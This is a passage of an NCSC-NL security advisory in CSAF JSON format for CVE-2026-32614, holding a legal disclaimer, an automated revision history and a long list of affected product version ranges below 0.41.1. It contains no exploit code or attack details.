{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32614",
        "tracking": {
            "current_release_date": "2026-03-26T01:19:39.951798Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32614",
            "initial_release_date": "2026-03-13T16:48:14.394666Z",
            "revision_history": [
                {
                    "date": "2026-03-13T16:48:14.394666Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-13T16:48:19.823057Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-13T18:12:44.272418Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-13T18:12:55.131827Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-13T20:38:33.361405Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-13T20:38:36.569831Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-14T07:34:56.433854Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-14T14:50:50.733208Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-16T14:33:46.253555Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-16T14:33:48.608212Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-16T16:43:02.170534Z",
                    "number": "11",
                    "summary": "References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-16T20:39:39.403966Z",
                    "number": "12",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-16T20:39:50.860479Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-17T03:28:25.890817Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-17T09:49:43.456340Z",
                    "number": "15",
                    "summary": "Products invalidated (1)."
                },
                {
                    "date": "2026-03-19T15:28:48.048951Z",
                    "number": "16",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:28:51.750026Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:29:53.029259Z",
                    "number": "18",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-25T18:14:09.871983Z",
                    "number": "19",
                    "summary": "References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T18:14:12.882736Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:15:25.684993Z",
                    "number": "21",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (2)."
                },
                {
                    "date": "2026-03-25T21:45:33.037016Z",
                    "number": "22",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (127).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T21:45:46.111550Z",
                    "number": "23",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "23"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.41.1",
                                "product": {
                                    "name": "vers:unknown/<0.41.1",
                                    "product_id": "CSAFPID-5825953"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<0.41.1",
                                "product": {
                                    "name": "vers:unknown/>=0|<0.41.1",
                                    "product_id": "CSAFPID-5815324"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/go_1.15",
                                "product": {
                                    "name": "vers:unknown/go_1.15",
                                    "product_id": "CSAFPID-5910336"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.0",
                                "product": {
                                    "name": "vers:unknown/v0.1.0",
                                    "product_id": "CSAFPID-5910337"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.0-alpha",
                                "product": {
                                    "name": "vers:unknown/v0.1.0-alpha",
                                    "product_id": "CSAFPID-5910338"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.1",
                                "product": {
                                    "name": "vers:unknown/v0.1.1",
                                    "product_id": "CSAFPID-5910339"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.2",
                                "product": {
                                    "name": "vers:unknown/v0.1.2",
                                    "product_id": "CSAFPID-5910340"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.10.0",
                                "product": {
                                    "name": "vers:unknown/v0.10.0",
                                    "product_id": "CSAFPID-5910341"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.0",
                                "product": {
                                    "name": "vers:unknown/v0.11.0",
                                    "product_id": "CSAFPID-5910342"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.1",
                                "product": {
                                    "name": "vers:unknown/v0.11.1",
                                    "product_id": "CSAFPID-5910343"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.2",
                                "product": {
                                    "name": "vers:unknown/v0.11.2",
                                    "product_id": "CSAFPID-5910344"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.3",
                                "product": {
                                    "name": "vers:unknown/v0.11.3",
                                    "product_id": "CSAFPID-5910345"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.4",
                                "product": {
                                    "name": "vers:unknown/v0.11.4",
                                    "product_id": "CSAFPID-5910346"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11.5",
                                "product": {
                                    "name": "vers:unknown/v0.11.5",
                                    "product_id": "CSAFPID-5910347"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.12.0",
                                "product": {
                                    "name": "vers:unknown/v0.12.0",
                                    "product_id": "CSAFPID-5910348"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.12.1",
                                "product": {
                                    "name": "vers:unknown/v0.12.1",
                                    "product_id": "CSAFPID-5910349"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.12.2",
                                "product": {
                                    "name": "vers:unknown/v0.12.2",
                                    "product_id": "CSAFPID-5910350"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.12.3",
                                "product": {
                                    "name": "vers:unknown/v0.12.3",
                                    "product_id": "CSAFPID-5910351"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.0",
                                "product": {
                                    "name": "vers:unknown/v0.13.0",
                                    "product_id": "CSAFPID-5910352"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.1",
                                "product": {
                                    "name": "vers:unknown/v0.13.1",
                                    "product_id": "CSAFPID-5910353"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.2",
                                "product": {
                                    "name": "vers:unknown/v0.13.2",
                                    "product_id": "CSAFPID-5910354"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.3",
                                "product": {
                                    "name": "vers:unknown/v0.13.3",
                                    "product_id": "CSAFPID-5910355"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.4",
                                "product": {
                                    "name": "vers:unknown/v0.13.4",
                                    "product_id": "CSAFPID-5910356"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.5",
                                "product": {
                                    "name": "vers:unknown/v0.13.5",
                                    "product_id": "CSAFPID-5910357"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.6",
                                "product": {
                                    "name": "vers:unknown/v0.13.6",
                                    "product_id": "CSAFPID-5910358"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.7",
                                "product": {
                                    "name": "vers:unknown/v0.13.7",
                                    "product_id": "CSAFPID-5910359"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.8",
                                "product": {
                                    "name": "vers:unknown/v0.13.8",
                                    "product_id": "CSAFPID-5910360"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.14.0",
                                "product": {
                                    "name": "vers:unknown/v0.14.0",
                                    "product_id": "CSAFPID-5910361"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.14.1",
                                "product": {
                                    "name": "vers:unknown/v0.14.1",
                                    "product_id": "CSAFPID-5910362"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.15.0",
                                "product": {
                                    "name": "vers:unknown/v0.15.0",
                                    "product_id": "CSAFPID-5910363"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.15.1",
                                "product": {
                                    "name": "vers:unknown/v0.15.1",
                                    "product_id": "CSAFPID-5910364"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.15.2",
                                "product": {
                                    "name": "vers:unknown/v0.15.2",
                                    "product_id": "CSAFPID-5910365"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.15.3",
                                "product": {
                                    "name": "vers:unknown/v0.15.3",
                                    "product_id": "CSAFPID-5910366"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.15.4",
                                "product": {
                                    "name": "vers:unknown/v0.15.4",
                                    "product_id": "CSAFPID-5910367"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.15.5",
                                "product": {
                                    "name": "vers:unknown/v0.15.5",
                                    "product_id": "CSAFPID-5910368"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.15.6",
                                "product": {
                                    "name": "vers:unknown/v0.15.6",
                                    "product_id": "CSAFPID-5910369"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.15.7",
                                "product": {
                                    "name": "vers:unknown/v0.15.7",
                                    "product_id": "CSAFPID-5910370"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.16.0",
                                "product": {
                                    "name": "vers:unknown/v0.16.0",
                                    "product_id": "CSAFPID-5910371"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.17.0",
                                "product": {
                                    "name": "vers:unknown/v0.17.0",
                                    "product_id": "CSAFPID-5910372"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.17.1",
                                "product": {
                                    "name": "vers:unknown/v0.17.1",
                                    "product_id": "CSAFPID-5910373"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.17.2",
                                "product": {
                                    "name": "vers:unknown/v0.17.2",
                                    "product_id": "CSAFPID-5910374"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.17.3",
                                "product": {
                                    "name": "vers:unknown/v0.17.3",
                                    "product_id": "CSAFPID-5910375"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.17.4",
                                "product": {
                                    "name": "vers:unknown/v0.17.4",
                                    "product_id": "CSAFPID-5910376"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.17.5",
                                "product": {
                                    "name": "vers:unknown/v0.17.5",
                                    "product_id": "CSAFPID-5910377"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.18.0",
                                "product": {
                                    "name": "vers:unknown/v0.18.0",
                                    "product_id": "CSAFPID-5910378"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.18.1",
                                "product": {
                                    "name": "vers:unknown/v0.18.1",
                                    "product_id": "CSAFPID-5910379"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.19.0",
                                "product": {
                                    "name": "vers:unknown/v0.19.0",
                                    "product_id": "CSAFPID-5910380"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.19.1",
                                "product": {
                                    "name": "vers:unknown/v0.19.1",
                                    "product_id": "CSAFPID-5910381"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.19.2",
                                "product": {
                                    "name": "vers:unknown/v0.19.2",
                                    "product_id": "CSAFPID-5910382"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.19.3",
                                "product": {
                                    "name": "vers:unknown/v0.19.3",
                                    "product_id": "CSAFPID-5910383"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.0",
                                "product": {
                                    "name": "vers:unknown/v0.2.0",
                                    "product_id": "CSAFPID-5910384"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.1",
                                "product": {
                                    "name": "vers:unknown/v0.2.1",
                                    "product_id": "CSAFPID-5910385"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.2",
                                "product": {
                                    "name": "vers:unknown/v0.2.2",
                                    "product_id": "CSAFPID-5910386"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.20.0",
                                "product": {
                                    "name": "vers:unknown/v0.20.0",
                                    "product_id": "CSAFPID-5910387"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.20.1",
                                "product": {
                                    "name": "vers:unknown/v0.20.1",
                                    "product_id": "CSAFPID-5910388"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.20.2",
                                "product": {
                                    "name": "vers:unknown/v0.20.2",
                                    "product_id": "CSAFPID-5910389"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.21.0",
                                "product": {
                                    "name": "vers:unknown/v0.21.0",
                                    "product_id": "CSAFPID-5910390"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.21.1",
                                "product": {
                                    "name": "vers:unknown/v0.21.1",
                                    "product_id": "CSAFPID-5910391"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.21.2",
                                "product": {
                                    "name": "vers:unknown/v0.21.2",
                                    "product_id": "CSAFPID-5910392"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.21.3",
                                "product": {
                                    "name": "vers:unknown/v0.21.3",
                                    "product_id": "CSAFPID-5910393"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.21.4",
                                "product": {
                                    "name": "vers:unknown/v0.21.4",
                                    "product_id": "CSAFPID-5910394"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.21.5",
                                "product": {
                                    "name": "vers:unknown/v0.21.5",
                                    "product_id": "CSAFPID-5910395"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.21.5-beta",
                                "product": {
                                    "name": "vers:unknown/v0.21.5-beta",
                                    "product_id": "CSAFPID-5910396"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.21.5-beta.1",
                                "product": {
                                    "name": "vers:unknown/v0.21.5-beta.1",
                                    "product_id": "CSAFPID-5910397"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.22.0",
                                "product": {
                                    "name": "vers:unknown/v0.22.0",
                                    "product_id": "CSAFPID-5910398"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.22.1",
                                "product": {
                                    "name": "vers:unknown/v0.22.1",
                                    "product_id": "CSAFPID-5910399"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.23.0",
                                "product": {
                                    "name": "vers:unknown/v0.23.0",
                                    "product_id": "CSAFPID-5910400"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.24.0",
                                "product": {
                                    "name": "vers:unknown/v0.24.0",
                                    "product_id": "CSAFPID-5910401"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.24.1",
                                "product": {
                                    "name": "vers:unknown/v0.24.1",
                                    "product_id": "CSAFPID-5910402"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.24.2",
                                "product": {
                                    "name": "vers:unknown/v0.24.2",
                                    "product_id": "CSAFPID-5910403"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.24.3",
                                "product": {
                                    "name": "vers:unknown/v0.24.3",
                                    "product_id": "CSAFPID-5910404"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.25.0",
                                "product": {
                                    "name": "vers:unknown/v0.25.0",
                                    "product_id": "CSAFPID-5910405"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.26.0",
                                "product": {
                                    "name": "vers:unknown/v0.26.0",
                                    "product_id": "CSAFPID-5910406"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.26.1",
                                "product": {
                                    "name": "vers:unknown/v0.26.1",
                                    "product_id": "CSAFPID-5910407"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.27.0",
                                "product": {
                                    "name": "vers:unknown/v0.27.0",
                                    "product_id": "CSAFPID-5910408"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.27.1",
                                "product": {
                                    "name": "vers:unknown/v0.27.1",
                                    "product_id": "CSAFPID-5910409"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.27.2",
                                "product": {
                                    "name": "vers:unknown/v0.27.2",
                                    "product_id": "CSAFPID-5910410"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.27.3",
                                "product": {
                                    "name": "vers:unknown/v0.27.3",
                                    "product_id": "CSAFPID-5910411"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.27.3-beta.0",
                                "product": {
                                    "name": "vers:unknown/v0.27.3-beta.0",
                                    "product_id": "CSAFPID-5910412"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.27.3-beta.1",
                                "product": {
                                    "name": "vers:unknown/v0.27.3-beta.1",
                                    "product_id": "CSAFPID-5910413"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.27.4",
                                "product": {
                                    "name": "vers:unknown/v0.27.4",
                                    "product_id": "CSAFPID-5910414"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.28.0",
                                "product": {
                                    "name": "vers:unknown/v0.28.0",
                                    "product_id": "CSAFPID-5910415"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.0",
                                "product": {
                                    "name": "vers:unknown/v0.29.0",
                                    "product_id": "CSAFPID-5910416"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.1",
                                "product": {
                                    "name": "vers:unknown/v0.29.1",
                                    "product_id": "CSAFPID-5910417"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.2",
                                "product": {
                                    "name": "vers:unknown/v0.29.2",
                                    "product_id": "CSAFPID-5910418"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.3",
                                "product": {
                                    "name": "vers:unknown/v0.29.3",
                                    "product_id": "CSAFPID-5910419"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.3-beta.1",
                                "product": {
                                    "name": "vers:unknown/v0.29.3-beta.1",
                                    "product_id": "CSAFPID-5910420"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.3-beta.2",
                                "product": {
                                    "name": "vers:unknown/v0.29.3-beta.2",
                                    "product_id": "CSAFPID-5910421"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.4",
                                "product": {
                                    "name": "vers:unknown/v0.29.4",
                                    "product_id": "CSAFPID-5910422"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.5",
                                "product": {
                                    "name": "vers:unknown/v0.29.5",
                                    "product_id": "CSAFPID-5910423"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.5-beta.1",
                                "product": {
                                    "name": "vers:unknown/v0.29.5-beta.1",
                                    "product_id": "CSAFPID-5910424"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.5-beta.2",
                                "product": {
                                    "name": "vers:unknown/v0.29.5-beta.2",
                                    "product_id": "CSAFPID-5910425"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.6",
                                "product": {
                                    "name": "vers:unknown/v0.29.6",
                                    "product_id": "CSAFPID-5910426"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.7",
                                "product": {
                                    "name": "vers:unknown/v0.29.7",
                                    "product_id": "CSAFPID-5910427"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.29.8",
                                "product": {
                                    "name": "vers:unknown/v0.29.8",
                                    "product_id": "CSAFPID-5910428"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3.0",
                                "product": {
                                    "name": "vers:unknown/v0.3.0",
                                    "product_id": "CSAFPID-5910429"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3.1",
                                "product": {
                                    "name": "vers:unknown/v0.3.1",
                                    "product_id": "CSAFPID-5910430"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3.2",
                                "product": {
                                    "name": "vers:unknown/v0.3.2",
                                    "product_id": "CSAFPID-5910431"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3.3",
                                "product": {
                                    "name": "vers:unknown/v0.3.3",
                                    "product_id": "CSAFPID-5910432"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3.4",
                                "product": {
                                    "name": "vers:unknown/v0.3.4",
                                    "product_id": "CSAFPID-5910433"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.30.0",
                                "product": {
                                    "name": "vers:unknown/v0.30.0",
                                    "product_id": "CSAFPID-5910434"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.30.1",
                                "product": {
                                    "name": "vers:unknown/v0.30.1",
                                    "product_id": "CSAFPID-5910435"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.31.0",
                                "product": {
                                    "name": "vers:unknown/v0.31.0",
                                    "product_id": "CSAFPID-5910436"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.32.0",
                                "product": {
                                    "name": "vers:unknown/v0.32.0",
                                    "product_id": "CSAFPID-5910437"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.33.0",
                                "product": {
                                    "name": "vers:unknown/v0.33.0",
                                    "product_id": "CSAFPID-5910438"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.34.0",
                                "product": {
                                    "name": "vers:unknown/v0.34.0",
                                    "product_id": "CSAFPID-5910439"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.34.1",
                                "product": {
                                    "name": "vers:unknown/v0.34.1",
                                    "product_id": "CSAFPID-5910440"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.0",
                                "product": {
                                    "name": "vers:unknown/v0.4.0",
                                    "product_id": "CSAFPID-5910441"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.1",
                                "product": {
                                    "name": "vers:unknown/v0.4.1",
                                    "product_id": "CSAFPID-5910442"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.2",
                                "product": {
                                    "name": "vers:unknown/v0.4.2",
                                    "product_id": "CSAFPID-5910443"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.3",
                                "product": {
                                    "name": "vers:unknown/v0.4.3",
                                    "product_id": "CSAFPID-5910444"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.4",
                                "product": {
                                    "name": "vers:unknown/v0.4.4",
                                    "product_id": "CSAFPID-5910445"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.5",
                                "product": {
                                    "name": "vers:unknown/v0.4.5",
                                    "product_id": "CSAFPID-5910446"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.6",
                                "product": {
                                    "name": "vers:unknown/v0.4.6",
                                    "product_id": "CSAFPID-5910447"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.7",
                                "product": {
                                    "name": "vers:unknown/v0.4.7",
                                    "product_id": "CSAFPID-5910448"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.8",
                                "product": {
                                    "name": "vers:unknown/v0.4.8",
                                    "product_id": "CSAFPID-5910449"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.9",
                                "product": {
                                    "name": "vers:unknown/v0.4.9",
                                    "product_id": "CSAFPID-5910450"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.40.0",
                                "product": {
                                    "name": "vers:unknown/v0.40.0",
                                    "product_id": "CSAFPID-5910451"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.40.1",
                                "product": {
                                    "name": "vers:unknown/v0.40.1",
                                    "product_id": "CSAFPID-5910452"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.41.0",
                                "product": {
                                    "name": "vers:unknown/v0.41.0",
                                    "product_id": "CSAFPID-5910453"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.5.0",
                                "product": {
                                    "name": "vers:unknown/v0.5.0",
                                    "product_id": "CSAFPID-5910454"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.6.0",
                                "product": {
                                    "name": "vers:unknown/v0.6.0",
                                    "product_id": "CSAFPID-5910455"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7.0",
                                "product": {
                                    "name": "vers:unknown/v0.7.0",
                                    "product_id": "CSAFPID-5910456"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.0",
                                "product": {
                                    "name": "vers:unknown/v0.8.0",
                                    "product_id": "CSAFPID-5910457"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.1",
                                "product": {
                                    "name": "vers:unknown/v0.8.1",
                                    "product_id": "CSAFPID-5910458"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.2",
                                "product": {
                                    "name": "vers:unknown/v0.8.2",
                                    "product_id": "CSAFPID-5910459"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.9.0",
                                "product": {
                                    "name": "vers:unknown/v0.9.0",
                                    "product_id": "CSAFPID-5910460"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.9.1",
                                "product": {
                                    "name": "vers:unknown/v0.9.1",
                                    "product_id": "CSAFPID-5910461"
                                }
                            },
                            {
                                "category": "product_version_range",
